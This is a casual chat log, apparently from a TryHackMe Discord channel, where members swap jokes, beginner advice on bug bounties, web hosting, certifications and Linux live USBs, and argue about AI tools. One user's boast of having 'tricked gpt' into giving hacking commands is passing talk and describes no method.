general

[grizzled wing]

prove it

haha

joking

[brittle drum]

i will do it, latter

[tame abyss]

how do i uploead screenshots?

[queen flare]

have you been working with lmfao?

[sharp citrus]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 8, 2025, 3:41 AM

[grizzled wing]

need to verify

[kindred yew]

Web dev?

[tame abyss]

no just LMBAO

[molten sky]

https://tenor.com/view/image-perms-flex-gif-22350600

[brittle drum]

i never worked with you

[tame abyss]

sadly its an honest question

[kindred yew]

That's a good restaurant name.... LM Bao

https://tenor.com/view/pork-buns-yummy-chinese-food-hungry-delicious-gif-15131416

[tame abyss]

yeah i can see thar

[brittle drum]

any good room where we can learn source code review

[queen flare]

LM Bao chinatown diners: where taste meets the buds

[static acorn]

@grizzled wing

[grizzled wing]

there is a whole pathway for security engineering

[brittle drum]

give me

[grizzled wing]

no

you search

[brittle drum]

ok

[kindred yew]

and free wifi from lmfao and lmao

[tame abyss]

any ways to get a website live 4 free?

[queen flare]

this something from the mw reboot series?

[grizzled wing]

yes, github pages

[tame abyss]

oh... ok

i suck at using github.....

[brittle drum]

how to get first bug bounty, i'm ok with 200$

[queen flare]

and the free wifi was fast
and then elliot started wandering why is it so fast

[brittle drum]

any tips/suggestions are welcome

[kindred yew]

Github pages

[queen flare]

i'll definitely tell you when i get my first bounty, if ever

[grizzled wing]

i said that

[tame abyss]

looks like i need to figure out github then.... 😦

[molten sky]

my tip? don't. start with open source or VDPs. they have less competition and you'll get your feet wet much more easily

then transition in

[grizzled wing]

Vercel has free tier

[quiet escarp]

yeah i'm verified now

[grizzled wing]

🎉

magic_conch

[tame abyss]

vercell requires phone # i dont like stuff that needs that

[kindred yew]

It's easy.... all you have to do is lots of forking and commits

[tame abyss]

huh?

[molten sky]

no forking at the office please

[grizzled wing]

github pages is not complex unless you do Git

[molten sky]

wat m8

unless you do git

[tame abyss]

lmfao (not the chinese hacker)

[silver sky]

😂😂😂 lmao (not the Chinese hackers sister)

[kindred yew]

Just kidding.... learn git... you need to learn only basic git comands.

[brittle drum]

i submitted idor in a opensource they fixed it and never gave me a single $

[tame abyss]

ok.... thats just....

[grizzled wing]

the extra step, my brain is foggy right now, but the extra steps involved, not just git.

[molten sky]

also, know the difference between git and github, lmao

[static acorn]

ok thats the last one

[kindred yew]

same as prn and prnhub

[molten sky]

well yeah no shit lmao i'm not a business i'm not gonna pay some guy a few hundred bucks for an idor on a project 7 people use

[brittle drum]

seems like IDOR is not a good bug

[grizzled wing]

Hugo or Jekyll website templates if you want are helpful

[tame abyss]

lol

[grizzled wing]

i love IDORs

[molten sky]

but that's both how you get your feet wet, and if you do it properly, get CVE IDs and write reports to show exposure and whatnot

[grizzled wing]

i know of real website that has it

[molten sky]

which employers like to see when done properly, but also, when done poorly, can turn employers away

[brittle drum]

i also love IDOR, it's easy to find

i hate race condition

[blazing granite]

the need to commit 😉 😂

[brittle drum]

i never got race condition in real life target.

give me some good ai tools to hacks

[molten sky]

i audibly sighed

[grizzled wing]

the AI word appears again

[molten sky]

i quietly sighed when reading it ^

[brittle drum]

it's everywhere

[molten sky]

it's horrible

[grizzled wing]

there was already a super long thread about it hours ago

[blazing granite]

https://tenor.com/view/robot-ai-robot-ai-meme-ai-meme-gif-509507551361818171

[grizzled wing]

user wanted to use it to answer SAL 1 cert exam

[kindred yew]

codecademy has good lessons on git.

[molten sky]

i've yet to meet a single person who actually knows wtf they're talking about who actually likes this so-called 'ai' nonsense who wasn't shilling a related product

nothing but problems

[molten sky]

sal... aint that the new thm one

ope yep there it is

[sand mason]

what's the beef with ai anyways? I can see it being a problem if it's relied upon to do everything, but I think it's great for streamlining certain tasks

[brittle drum]

u seems me an AI 😆

[orchid pawn]

Someone here knows Accenture?

[molten sky]

the only thing so-called 'ai' is good for is creating more problems, shit code, and wasting my time

[brittle drum]

agent

[molten sky]

yeah they're massive

got some friends there

[orchid pawn]

My dad works there

[blazing granite]

now is ai, a few years back was all about ml 😂

[grizzled wing]

AI = 🦜 making crap up

[orchid pawn]

For 20 years

[kindred yew]

I frequently use AI at work to do translations as I am forced to make bilingual documents.

[molten sky]

i pray that these aren't legal docs

[fallen burrow]

Even seemingly intelligent people listen to fucking business majors on the topic

like get the engineers to speak for once

lol

[grizzled wing]

sounds like a 🍁 thing to do

[orchid pawn]

They work with thm right?

[kindred yew]

Nope...

[brittle drum]

but ai tools like gpt hacks very fast. i asked for solution of one room chall

[grizzled wing]

pizza recipes haha

[molten sky]

apparently thm and accenture worked together to create SAL1 or something

[sand mason]

for creating things sure, but I use in to augment google sometimes, or if you already have something written and you need to do a quick debug (or if you're writing something in a language you're not familiar with, but you know how to write it in say, java or c++)

[molten sky]

HAH

lmfao

[orchid pawn]

Lol

[tame abyss]

ok ive been using that for html ill check out the git

[grizzled wing]

who is doing the hacking? you or the A? if the AI why would any company hire you?

[blazing granite]

that's what happens when you don't put the right people for the job. If you speak only one language, you can't be force to make documents in another language

[kindred yew]

and salesforce

[molten sky]

for quick googling it's FINE but it feeds me so much bullshit even for that, to the point I have to manually verify everything anyways, at which point why not just skip it entirely

[orchid pawn]

So you have to learn the other language 👨‍💻

[molten sky]

re: code, 9/10 times i spend more time fixing the nonsense it spews out for longer than it'd take me to learn and do myself

[blazing granite]

I already speak 5 🙂

[molten sky]

huh. looks like they did. curious what they "collaboration" included

[grizzled wing]

i see your bio section looks similar to mine

[orchid pawn]

O-0

[kindred yew]

ChatGPT is pretty good at image processing and extracting data from images. I can click a picture of excel sheet and it can create exact formula for me to achieve the desired results.

[orchid pawn]

I did before joining this server

[sand mason]

we must be using 2 different LLMs or something. it's saved me so many times when I'm scripting something in bash and can't see that I put [ ... ] instead of [[ ... ]]

but big mistakes I can see that

[grizzled wing]

very amusing to see

[brittle drum]

because gpt can't search for target itself 🤦 i asked him to give nmap command and scan command to hack. also if he will try byself he will get ethical warning, i used my sharp minde and tricked gpt to get hacking commands.

[molten sky]

oh sure, it definitely catches some things. I can't deny that. would be dumb to claim otherwise. it's just that the amount of time I have to spend correcting it's nonsense ends up still FAR outweighing the time it's saved me over the years by doing so

[sand mason]

oh that's tough, i never thought to use it like that

[orchid pawn]

It s never too much to know more

[brittle drum]

you only need sharp mind to hack with ai, and it's very fast.

[kindred yew]

Earlier it's used to be a complicated task. Importing data from physical (poorly scanned) documents and then manipulating it. Now it's easy peasy.

[brittle drum]

but yah! i never got bounty ..... Till now

[molten sky]

something something dunning something kruger

[blazing granite]

those are the ones I'm fluent, I have basic knowledge of many more 🙂 I love languages

[grizzled wing]

clearly the young people use AI to do all their thinking and hacking, seems to be the trend.

[brittle drum]

yes i'm new hacker

[sand mason]

yeah usually if I'm doing a large project, I'll have it lay out a framework to build upon rather than the work itself. Like for a web server I'm hosting, I had it lay down the directory listing and template the php for me to add in my custom code

[fallen burrow]

can't really call yourself a hacker if a machine is doing it for you.

[brittle drum]

u tell me a single thing ai can't do? why u hate it so much!!

[molten sky]

most things

cause it sucks and isn't AI

[sand mason]

can't count the 'r's in strawberry

[fallen burrow]

AI can't even tell me how to make a pizza without poisoning myself

[grizzled wing]

exactly my point

[molten sky]

it can't draw a picture of a full glass of wine

[grizzled wing]

AI is a tool not your 🧠

[molten sky]

it can't write code

it can barely write coherent shell commands

[brittle drum]

but when u use nmap that also machine is doing things for uh!

or dirb or other tools

[blazing granite]

that's the issue they let ai to do all the thinking and they forget how to think by themselves

[fallen burrow]

I actually know what those tools do when I run them, though.

[brittle drum]

it can write code

[grizzled wing]

command in the terminal is not the same as a word predictor making stuff up

[molten sky]

https://tenor.com/view/skid-manlet-short-gif-20800456

[sand mason]

i manually connect and disconnect the wires for switching to process all my hacking in the purest binary

[molten sky]

my sweet summer child

[sinful moon]

lol are we back to AI again?

[grizzled wing]

yes sadly

[blazing granite]

you left and went all to shit 😂

[grizzled wing]

haha

[sinful moon]

Obviously AI will fix the security issue forever so we're all out of a job. Pack it up folks, we're done here

[grizzled wing]

time to be away from AI talk

[brittle drum]

alright u give me any task let me complete it with AI then u will get rid of ur sadness.

[grizzled wing]

🤦

[molten sky]

hack nasa with css

[sand mason]

solve world hunger

[blazing granite]

https://tenor.com/view/pack-it-up-bree-is-here-bree-3charactername-gif-18745287

[kindred yew]

I have 2 native languages + English is being used at work. Translation from English to native languages is a time taking process. I am fluent in my native languages but to use it in official docs is different game.

[molten sky]

i'm not opposed to using LLMs to aid in initial first draft translations, but they need to be fixed up and corrected (and ofc, nothing official/legal)

but basic docu i can see being helpful

[fallen burrow]

get AI to make an Ari Aster movie

in his style

[proven lark]

Sal1 best cert rn?

[molten sky]

no

[blazing granite]

my msg, it wasn't a reference to your skills I don't know you, it was against the company that force thing on people. I'm old school I don't like that ai shit 😂

[proven lark]

Talkin about sec analyst

[sinful moon]

it is the newest!

lol

[brittle drum]

well if u think this way, we all gona be jobless ?

[molten sky]

no cert is best cert, it's subjective

[kindred yew]

Yeah, it needs correction and proofreading but saves time in creaitng initial draft.

[cloud quiver]

Not really , it is pretty new

[brittle drum]

oscp is best

[molten sky]

no

[sinful moon]

again it’s subjective as null said

[brittle drum]

i saw great hackers have oscp.

[molten sky]

that's like saying pizza is a better ice cream than ice cream

[proven lark]

Cert maxxing

[molten sky]

it's not even close to the same thing

different categories

[molten sky]

even based on what you're saying, OSCP is the entry level cert for offensive security, lol

[brittle drum]

it's like water used in both pizza and ice cream.

[blazing granite]

I can write official docs in English and Spanish 🙂

[kindred yew]

Gotcha! My company does have a language officer for this task but I use AI to make the process more efficient.

[molten sky]

OSCE3, then you can talk about what's possibly better, and even that is just ink on paper and needs experience to back it up

[brittle drum]

i never saw someone with OSEE nearby.

[molten sky]

wouldn't that make it the superior cert then? harder to obtain?

tigher niche?

[kindred yew]

Tasks taking hours gets done in minutes.

[molten sky]

CompTIA A+ is the best cert cause i know everyone has it

[brittle drum]

they can hack google i heard that they can develop exploit that no one can detect..

[molten sky]

hyped up

[sinful moon]

although lol potentially a better indicator of a good hire than CS grad these days because whew

[brittle drum]

this way introduction to AI is best cert, lmfao

sorry introduction to cloud computing .

[molten sky]

my god, the number of people that i saw graduate who could barely get out a hello world

[blazing granite]

I don't really know how much efficient, since you told me that you can't write official docs. I don't see how are you qualify to check ai work, that a huge leap of faith

[static acorn]

Windows is the Power house of the Shell

[sinful moon]

Yeah I’ve seen horror stories, even among people at us for their second job having established themselves as sysadmins… yeah nope

[molten sky]

these people obtained a 4 year computer science degree and don't know the difference between git and github, and for that matter, don't even know how to use it

[sinful moon]

whew indeed

[brittle drum]

🤭

[fallen burrow]

I've heard that many universities just don't teach git at all

[molten sky]

they don't, they really don't

[sinful moon]

I remember someone in here telling us that half of their first class didn’t even know how to turn the computer on lol

[molten sky]

oddly enough our IT curriculum had more git than CS

(still near none)

[sinful moon]

just like too trained on tablets and phones

[brittle drum]

how it's possible, i'm having computer since nursery in my school.

[sinful moon]

we’re like back in the 90s when you ask older folks to turn on the computer and they turn the monitor on

[brittle drum]

[molten sky]

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[sand mason]

CS 101 had me literally learning how to resize windows

it was horrible

[sinful moon]

Yeah ouch

[brittle drum]

🤦 seems like you gys never had ur own computer utill u became old.

now i got it thats why u hate AI

cause it's new tech for u guys

[molten sky]

gotta be bait, right

[sinful moon]

back in my day we were taught computer literacy since elementary school and we didn’t have no gosh darn chromebooks or Apple iThings

[molten sky]

omfg, the number of people who can't even type

[sinful moon]

yeah i bet

[molten sky]

finger poking mfs

[sinful moon]

ouch

[blazing granite]

classroom full of people in the university of CS, suddenly the PC got a BSOD, everybody looked at each other in panic not knowing what to do 😂

[fallen burrow]

chromebook jumpscare

[brittle drum]

🤭 😅

[sinful moon]

alright, time for show with friend. ttyl later!

[molten sky]

lol you have friends?

nerd

[blazing granite]

https://tenor.com/view/the-simpsons-homer-simpson-nerd-yelling-insult-gif-7884166

[molten sky]

always a classic

[fallen burrow]

obligatory Severance recommendation

[molten sky]

just downloaded that i think, on my watchlist

[sinful moon]

I’m up to date on it

[brittle drum]

yes 7

[molten sky]

i don't even watch tv really anymore but i keep adding shit to my list

[sand mason]

just heard about this a few weeks ago. is it actually that good?

[molten sky]

that i'll never watch

[sinful moon]

we had like 1h 30 minutes of a staff meeting that went off the rails and was all Severence discussion lol

[fallen burrow]

Absolutely.

[blazing granite]

mostly is shit anyways 😂

[sinful moon]

Yes it’s a fantastic show

[molten sky]

after working at a desk all day i'll be damned if i have to sit in front of a screen any longer than i have to

[fallen burrow]

Give all of the actors Emmys at this point

elect Adam Scott as emperor of the world

[sand mason]

okay but how good? like should I stop where i'm at in westworld to start that one up?

[sinful moon]

That’s why you have screens in your other rooms, separate from your work environment

[molten sky]

nah banish all the screens

[fallen burrow]

Very very very good

[molten sky]

i've unironically considered going back to a flip phone

dead serious

only reason i don't is gps

[sinful moon]

null’s screendoor is now banished

[kindred yew]

Nokia Barbie Phone

[molten sky]

already banished windows, who needs screens

[blazing granite]

https://tenor.com/view/friends-friends-the-tv-show-friends-the-tv-series-matt-leblanc-joey-tribbiani-gif-17550773

[fallen burrow]

I've considered it as well, although I do like to read my RSS feed from my phone.

[molten sky]

https://tenor.com/view/jordy-barbie-come-on-barbie-lets-go-party-gif-15036570

[kindred yew]

I wanted Unihertz Titan phone but sadly they don't deliver it here

QWERTY phone with android

[molten sky]

give me back my old moto razr

[sinful moon]

T9 texting tho

[molten sky]

my god, after how many years, apple FINALLY added fucking t9 dialing

so far behind

so welcome

[sinful moon]

as if people use traditional SMS these days tho

[molten sky]

oh how i've missed t9 dialing

[sinful moon]

yeah that is pretty silly

[molten sky]

so much faster than finding contacts

[sinful moon]

that I can agree on

[sand mason]

plus there's actual speeddial

[molten sky]

that you don't need to see the screen for

[kindred yew]

I miss the good ol times when doomscrolling wasn't a thing

[molten sky]

speaking of all this, fuck every car that puts everything on a massive touch screen

[kindred yew]

Every single social media has turned into infinite scroll thing

[molten sky]

several years ago you'd get ticketed for so much as touching your phone, now i've gotta work a fucking whole ass tablet just to turn the heat on?

give me tactile real buttons

and dials

[sand mason]

will spend hours with technology
won't get in a car using technology

[fallen burrow]

I recommend taking the time to set up RSS. Most of the good news sources have a feed.

[molten sky]

shit i don't have to brace my hand on and stare at to use

[sand mason]

can't trust a car that doesn't connect the steering wheel to the wheels

[molten sky]

my working with technology has created nothing but disdain for that technology

[blazing granite]

my first phone 😂

[molten sky]

shits a weapon

[kindred yew]

That's not technology, that's an abomination.

[kindred yew]

Will give it a try. Thanks

[twin ridge]

Gave +1 Rep to @fallen burrow (current: #1783 - 2)

[sinful moon]

RSS feeds are indeed still a livesaver

[molten sky]

also when cell phones were really cellular phones, as in your phone was a part of a particular cell when connected

now it's all just a mess of nonsense

[sinful moon]

when I said I like instantly knew how to respond to all our firewalls being down, it was because I checked my RSS feeds

[blazing granite]

before that my dad had a briefcase with a big rectangle with a cable attach to it and a receiver 😂

[elder peak]

https://tenor.com/view/zach-morris-phone-call-smile-happy-saved-by-the-bell-gif-15211542

[molten sky]

carrying the nuclear football to work

[sand mason]

wait what
wydm? like is it all some VoIP type of a deal?

[molten sky]

sorta

[blazing granite]

those were the days 😂

[molten sky]

on the topic, POTS doesn't even exist in many places anymore

proper landlines

[kindred yew]

Good ol' days without caller ids

[molten sky]

411 is also largely dead

[kindred yew]

Whats that?

[molten sky]

essentially calling an operator to be your phonebook

[blazing granite]

yes, they called 911 about it, but it wasn't anything the can do 😉 😛

[sand mason]

you say largely like it's still a thing in some spots?

[molten sky]

some carriers still offer it, but even the ones that do charge out the ass for its use

i know tmobile did at least last year

[blazing granite]

I thought that somebody was going to say what's a phonebook 😂

[kindred yew]

I am not THAT old

[elder peak]

Totally agree!

[molten sky]

"why do you have these 3d printed save icons?"

[sand mason]

the jitterbug lines HAVE to be the main ones lmao

[blazing granite]

it's the year 4382, the human race has colonised many planets around the universe, and the save icon is still a diskette 😂 😛

[molten sky]

to add, you know how old phone calls sounded sorta hollow, but now they often sound, i guess, fuller?

[sand mason]

actually, yeah. never consciously noticed that but now that i think on it, i can see that

[molten sky]

that's because on the older system you were limited to a pretty narrow frequency range ---- with landlines this helped with party lines/shared lines going to multiple homes and whatnot, and a similar story with cellular networks and them having a narrower part of the radio spectrum and needing to cram all of these different connected devices from each cell at once

obv more complicated but a very tired tldr

also it's now all digital with compression

no more analog transmission

[sand mason]

so basically the jump to 4G/LTE that bridged out CDMA and GSM? or was this before that

[molten sky]

oh my, just came to mind

who remembers speakers going haywire when you were about to get a call

[sand mason]

don't remember this, but I do remember dial up making phone machine go brrrrrrrrrr

[molten sky]

ngl i don't remember when quality got not shit

[brittle drum]

i have 5g

[molten sky]

i often found myself on Edge even after 4G was pushed, and still nowadays where it exists, so it was blurry

[blazing granite]

thanks god for Multiplexing 😂

[molten sky]

out in the middle of nowhere with no reception, climbing hills tryna get a single bar to send a text rq

[brittle drum]

i think 5g is also slow. we need 6g now

[molten sky]

nobody is using those speeds still

just marketing bs

like what're you gonna do, stream 17 different shows on netflix at once

[brittle drum]

i think capital punishment for today's gen is give them a 2g internet 😆

[brittle drum]

let me give u 2g network

🤭

[molten sky]

eh i'm used to being disconnected 🤷‍♂️

i'm sure it would kill some people

[brittle drum]

[blazing granite]

Some people still remember the days before mobile phones 😂

[sand mason]

don't tell me how to live my life

[molten sky]

miss the days of being back before the streetlights came on as a child lol

[brittle drum]

well i don't even remember my grandfather's name.

[molten sky]

i know his name

won't tell you tho

[brittle drum]

get a childish gf/bf

it's never too late

u can always enjoy ur childhood

[blazing granite]

or when you needed to research something and went to the library 😂

[molten sky]

📸

got em

[sand mason]

https://tenor.com/view/chris-hansen-peek-hey-gif-5744948

[molten sky]

ironic cause i just renewed my card

[brittle drum]

can't even imagine after chatgpt i don't even want to search on google

[molten sky]

https://tenor.com/view/take-a-seat-chris-hansen-gif-12085242

[blazing granite]

yes people get lazy

[brittle drum]

i have already 2 gfs. that's why i'm sharing my exp. they both r childish in nature sometime i fell like im also a kid, when i'm near by them. i think and pray to god that every cybersecurity people get a good sweet gf/bf.

[sand mason]

Libraries and I don't get along . . .

[brittle drum]

invention of car isn't example of laziness..

[molten sky]

https://tenor.com/view/clippy-dig-clippy-digging-gif-3125587617827901277

[fallen burrow]

bait used to be believable

[brittle drum]

don't stick with old thoughts, world is dynamic adopt new changes for better future of humans.

[sand mason]

nah I feel that, my girl still plays a lot with me and it's cool to get lost in just having fun sometimes

[blazing granite]

but the invention of something that you use so you don't have to think for yourself does 😂

[sand mason]

but you probably don't want to use the term child in this context

[brittle drum]

🤦

[blissful snow]

hi

[blazing granite]

I hate that clip so much

[molten sky]

da clipsta

[desert dirge]

clip was my best friend when I was 9

[brittle drum]

what is that clip ?

[molten sky]

clippy

[blazing granite]

youngster alert 😂

[molten sky]

kinda wanna go play some space cadet pinball now that we're on this topic

[sand mason]

vlngod is still in beta version, it's confirmed

||either that or we're all just legacy||

[desert dirge]

Well, at least mr hansen can take a break now

[brittle drum]

Damm u gen alpha guys

[brittle drum]

i'm linux user

[molten sky]

@brittle drum asl?

[desert dirge]

That's gen-omegalul-chad to you

[brittle drum]

😆 sup

guys

[sand mason]

bringing back the omegle PTSD

[molten sky]

omegle? was asl still a thing on there?

[brittle drum]

alright let me go out with my gf in my sport car, u go to office by feet. CYA🤭

[sand mason]

literally the first thing anything typed

at least back in < 2010 when i was on there

[blazing granite]

It's not a matter of OS, I'm a Linux user since before you were born, and I know what that clip is. 😂

[molten sky]

ngl don't remember that on omegle --- other places 100% just don't remember it on there for some reason

[sand mason]

because you only remember the horrors

https://tenor.com/view/war-vietnam-ptsd-shell-shock-moment-gif-3022747568394546158

[molten sky]

fair

also:

[blazing granite]

Stickam 😂

[static acorn]

me when i get shell... shell shocked

bottom text

[sand mason]

don't remember that one, never used it ¯_(ツ)_/¯

[silver sky]

https://tenor.com/view/msnbc-nbc-dateline-tcap-to-catch-a-predator-gif-6268004529211151612

[static acorn]

is that the windows search assistant dog?!

throw back damn

[molten sky]

oh my god i forgot about the default user pictures

[blazing granite]

I liked Larry @molten sky probably know it 🙂

[sand mason]

now this i remember well

[molten sky]

Doesn't ring a bell actually

[blazing granite]

it was a game

[molten sky]

i just found an old spindle of cds with some of our old games, gonna try and load up heretic again

[blazing granite]

you had to answer a few questions before to prove you were 18

[molten sky]

yeah don't think i ever did that one

leisure?

[sand mason]

idk how it is with other games, but I know i had to use an XP system from back in the day just to get KotOR to actually run

[molten sky]

would 100% need emulation

no doubt about it

[sand mason]

some cpu thing i think?

[molten sky]

yeah depending on the game it's a combination of 32bit vs 64 (even though 32 should work fine, it sometimes doesn't) and games using weird things like clock speed for timing (that's assuming it's even x86, ofc)

[static acorn]

"no free energy thats thermodynamics" how about i thermo dynamically kick you in the shin

[sand mason]

no, like even emulation wouldn't run it

really weird but common problem with that specific game

[molten sky]

weird. wonder if it wasn't x86 after all. time for the googles

[blazing granite]

yes I knew the DOS version, then did a reload around 2000 and something

[steady pewter]

there's a way to get free energy, it's called go to the sun and use it's heat to power your stuff up while the entire world freezes.

[fallen burrow]

checkmate liberals

[molten sky]

the world deserved it

[sand mason]

I just download my energy. problem solved

[blazing granite]

Carmen San Diego games were fun too 🙂

[static acorn]

64gbs free energy

[steady pewter]

Oh, I'm out of RAM, time to download more!

[molten sky]

i'm seeing 2003 so far, not sure if this is the renewed or orig

[molten sky]

dedicated wam

[blazing granite]

the original was on DOS 1987

[steady pewter]

Nah, I've swapped that with swap.

[static acorn]

whats duh... wecomended amount of deditated wam

[steady pewter]

da wecommended amount of dedicated wam is usually 64WBs.

[molten sky]

lmfao tryna find this one and larry came up

but yeah no i only see an 03 version for some reason

idk why

[near sapphire]

anyone knows how to make pdfs from obsidian notes look nice, eveytime I export as pdf, the codeblocks looks bad

[blazing granite]

that the reload version, try larry suits dos in google

[molten sky]

bookmarked it already for tm, lol

[sand mason]

that much always gives me a wead/wite error,

[steady pewter]

Well den, you must switch to 32WBs as to ensuw your machine can support such an amount.

[blazing granite]

https://tenor.com/view/deer-ice-gone-jumping-gif-13261777

[steady pewter]

Well, the matrix is finally glitching. Uh, make sure to not turn into Agent Smith.

[sand mason]

bro needs to stop glitching maps like he's playing MW2

[molten sky]

https://tenor.com/view/goodbye-chat-gif-22150141

[sand mason]

https://tenor.com/view/im-out-we-out-peace-out-disappear-gif-15464202

[steady pewter]

And that's what you call:
/effect give @a invisibility 255 1000

[blazing granite]

I don't know what are you talking about, also I'm not your bro, GNU-Rex or Rex would do fine 🙂

[sand mason]

bro = lil bambi bro

[steady pewter]

hey GNU-🦖, what happened in that gif?

[rapid merlin]

Sleepy

So early

[mossy parrot]

anyone knows how can i see how many points i have left till next level? It doesn't show when i hover my mouse over the profile

Or there's a cap montly etc

[rocky basalt]

Hi chat

[rapid merlin]

There is no cap

My cat is bringing extra cute this morning

[mossy parrot]

Thanks. managed to fix it . might been my internet XD

[twin ridge]

Gave +1 Rep to @sacred shore (current: #1783 - 2)

[sick lance]

#feedback-and-ideas

[wet marlin]

ayooo new day new me good mornin mate 🙂

[split plover]

Hey mate

[wet marlin]

yoo

[split plover]

It's chewsday, init?

[wet marlin]

yeaah perfeccc for my boee of waaess

[rapid merlin]

I’m stressy

Spaghetti

[static acorn]

https://tenor.com/view/dancing-cat-dance-rave-party-cat-cat-gif-9418890704590090161

No stressio no spaghettio

[rapid merlin]

https://tenor.com/view/partying-cat-party-cat-cute-cat-kitten-gif-22225605

Me at the party

Fun fact when I was a weirdo teenager I would go to an under 18s club and read manga in the corner 😆

[carmine tinsel]

hackers and weebs name a more iconic duo

anyway I just got to 10000 points on thm, happy i have worked so hard so far 🙂

[topaz topaz]

You're doing amazing, fellow mage rank! Keep going, we're proud of you 🫶

[carmine tinsel]

thank you :3

[topaz topaz]

Also good morning to everyonee

[carmine tinsel]

Walter

[topaz topaz]

I must ask in case anyone knows, I've got a faulty drive that needs some data extracted, I've googled and found a few but is there anyone who personally vouches for any?

[topaz topaz]

Walter? 😦

(my phone emoji showed a surprised face not a frown)

[carmine tinsel]

lmaoo

This is random but I wonder why rooms go private in thm

[tawdry zephyr]

joo

i just noticed the skills matrix got resetted lol

so does this happen when you get inactive

for a specific time

[dark mason]

Nah

The skill matrix got an update

[tawdry zephyr]

lol

ahhh

so it got better

[dark mason]

So it's way different now

[tawdry zephyr]

i completted pre security and cybersecurity 101 is rewinding the whole thing again

lol

i think after that i should not forgot it

anymore

what i learned

[topaz topaz]

I really like the new skill matrix

[tawdry zephyr]

yea same

[topaz topaz]

I grew tired of seeing how good I am at fundamentals

Fundamentals was on max while everything else was lowwww

Now everything's low but I like being humiliated

[sturdy pike]

@cloud quiver How does your matrix look like I wonder.

[carmine tinsel]

lmaoo my matrix is humiliating me too 🫃

[sturdy pike]

"What we know is a drop, what we don't, is an ocean."

[cloud quiver]

Depends which one 😄 ?

[carmine tinsel]

Show us your pentester matrix

[tawdry zephyr]

@cloud quiver will there be a pentest certification?

[cloud quiver]

They said they will be in the future 🙂

[tawdry zephyr]

is it helpful for a pentester to do the sal1?

cant hurt for my resume right

[cloud quiver]

🙂

[tawdry zephyr]

bc this year i need to do my mandatory service in the military and i wanna apply for the cybersecurity unit

[carmine tinsel]

Damn 🔥

[tawdry zephyr]

fr

i need to grind

[dark frost]

Swiss?

[tawdry zephyr]

austrian

[dark frost]

🇨🇭

[tawdry zephyr]

🇦🇹

[fiery imp]

Happy Women's Day to all the ladies out there!

[cloud quiver]

Why not 🙂 ? You need to know how the other side thinks . But SAL is too new cert. it doesn't have industry recognition yet .

[tawdry zephyr]

yes

[tawdry zephyr]

true

[dark frost]

I didn't know austria had it too

[tawdry zephyr]

maybe ill just do the oscp for pentesting

or wich one would you recommend

[tawdry zephyr]

but the simulator looks good tho

the soc simulator

[cloud quiver]

If you're looking for cert/career advice , try to ask guys in #cyber-and-careers channel , they will point you in the right direction 🙂 .

[tawdry zephyr]

thanks

[rapid merlin]

Thanks

[twin ridge]

Gave +1 Rep to @fiery imp (current: #569 - 10)

[rapid merlin]

I’m half women half goat

[fiery imp]

Idk if we got a goat's day. I would have wished on that day too

[rapid merlin]

😊

My cat is going crazy this morning

I think he’s on one

He ran up my divider earlier to catch a fly and started talking in morse code

[fiery imp]

ayoo

damn...okay @rapid merlin I'll wish you on Aug 21

[crisp creek]

recently i heared pigeons are drones from the government. maybe cats are drones from aliens?

[tawdry zephyr]

this makes me cringe

tiktok skid memes

[tame folio]

flipper zero is still a good tool tho

right ?

or would you recommend something else better

[rapid merlin]

Wait what message was deleted

[cedar herald]

Huh

[rapid merlin]

It says original message was deleted

[rapid merlin]

Yeah but I didn’t delete any of my messages

It says original message was deleted

[crisp creek]

it was my message

[rapid merlin]

Oh

I didn’t know goats had a national day

They celebrate it on the side of a mountain

[crisp creek]

now you have 2 days where people celebrate you

nvm, with your birthday maybe 3

[rapid merlin]

Let’s go

Two a year 🤣

Bueno offerings

[elder peak]

Hello

[tawdry zephyr]

its good

but it cringes me that he says its bad

lol

yoj csn use literally anything

the tool doesnt matter

;-;

i hate skids that think kali linux is the only linux you can use for pentesting

most of them just use github scripts or shit

[tame folio]

oh okay

i only have linux mint but

i dont know how to save the data

[junior relic]

aaaaaaaaa guys

[tame folio]

everytime when i come back my data is gone

and gotta do everything again

[junior relic]

i downloaded a zip file for my wifi stick aka the drivers and when i extract it told me to restart to download or something and i did but now idk what to do

im so dumb bro..

anyone can help?

[upper knoll]

What are you trying to achieve

Exactly

[naive violet]

You're likely using a live boot rather than a full install

[junior relic]

download my wifi stick drivers so it can have a bettere connection with my pc

because my wifi keeps disconnecting and its annoyinggggggggg

0002-Realtek_WindowsDriver_1030.25.0701.2017.zip

this isthe file ^

[naive violet]

Ah many people

[junior relic]

soorry

im not good with pcs :c

[naive violet]

It has drivers if it works, how do you know that the disconnection is due to drivers?

[junior relic]

someoen else was helping me

[naive violet]

If you're far from your router, that'd explain it

[junior relic]

but i fell asleep 😭

[upper knoll]

Trust James

He’s a smart experienced bean

[junior relic]

thing is, its in the attic right, but i get a good 100mbps

then all of a sudden i go to 0 bites per second

but my phone works perfectly fine

[naive violet]

You need to find out the cause really

[upper knoll]

^

[tame folio]

am i suppose to dual booth ?

[junior relic]

and sometimes it just disconnects completely and says "no connection, secure"

[naive violet]

We don't know what you're trying to achieve here. What's your end goal?

[junior relic]

and i have to just completely disconnect and reconnect

[tame folio]

i want to learn how to master linux

[junior relic]

im rllyyy dumb with pc stuff i have 0 clue what im doing i dont wanna mess anyhting up

[upper knoll]

It’s okay don’t worry so much!

We all start somewhere

[whole gazelle]

impossible, you can only be proficient at it, but there is always new thing to learn

[naive violet]

At the end of the day though, this isn't primarily a tech support discord

[tame folio]

hm okay

[naive violet]

Ok but before that, what are you trying to do?

Free

[tame folio]

im trying the website out to learn Trhackme.com

[naive violet]

Ok, so where does mint come into this?

[tame folio]

i dont think anywhere but i was hoping if someone knew about it thats all

[junior relic]

ik ik but im just curious if aqnyone wans to help, that person was actually asking for my network section in my task manager until i fell asleep 😭

[naive violet]

You brought it up and asked for help with it tho

[tame folio]

it was worth trying

[naive violet]

If it's wiping the files every time, you're probably just live booting

Not installed

[tame folio]

oh

[naive violet]

I said this before

Are you using a USB?

[tame folio]

yes

[naive violet]

So that'll be it. It's not installed.

[tame folio]

i installed it into my usb

[naive violet]

You made a live USB. Not the same.

[tame folio]

got any tips ???

[naive violet]

Work out what you actually want to do with it, like install it instead of Windows, or alongside, etc

Then find a guidr

[tame folio]

alr

[naive violet]

These distros usually have official documentation, start there

[tame folio]

i think i found it

[tepid citrus]

What incident response framework is the standard ?

[naive violet]

Depends where you are and who you work for

As with all standards

[dawn grove]

Is there any room to learn splunk basics??

[sick lance]

Have you used the search?

[tepid citrus]

What are the top 3 ?

[naive violet]

